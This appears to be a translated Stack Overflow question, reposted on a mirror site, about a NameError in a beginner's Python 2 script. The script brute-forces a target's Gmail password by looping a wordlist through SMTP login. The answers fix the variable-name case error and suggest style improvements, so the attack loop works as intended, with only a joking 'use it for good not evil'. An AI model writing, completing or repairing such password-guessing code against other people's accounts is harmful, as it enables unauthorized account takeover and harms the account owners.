[英]PYTHON 2.7.9: NameError: name '___' is not defined
我是編程新手,但是我正在嘗試創建以下腳本。 你能告訴我我做錯了什么嗎?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
當我添加wordlist.lst文件時,終端上出現一條錯誤消息,內容如下:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
有什么專家可以給我一些建議嗎? 我在Kali Linux上使用的是Python 2.7.9(已經預裝了Python 2,所以我決定學習它,而不是嘗試使用Python3。)
沒有定義名為passwfile
變量。 但是,有一個名為Passwfile
(注意大小寫)的名稱,您應該使用該名稱,因為標識符在Python中區分大小寫。
請注意,在Python中,約定是將所有小寫字母用於變量名。 大寫標識符通常用於類名。 因此您的代碼可以讀為:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")
for password in password_file:
例如。
有關標識符和其他樣式問題的更多信息,請參閱PEP 8 。 在此建議變量用下划線分隔小寫單詞,因此例如,首選password_file
不是passwfile
。
另一個有用的技巧是使用with
語句在上下文管理器中打開文件:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
with open(password_filename) as password_file:
for password in password_file:
# nasty stuff here
例如,如果存在未處理的異常,上下文管理器將確保始終正確關閉文件。
最后,將其用於善良而不是邪惡:)
檢查線
Passwfile = raw_input("Enter the password file name: ")
在這里,您將raw_input
存儲在變量Passwfile中(大寫的P)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.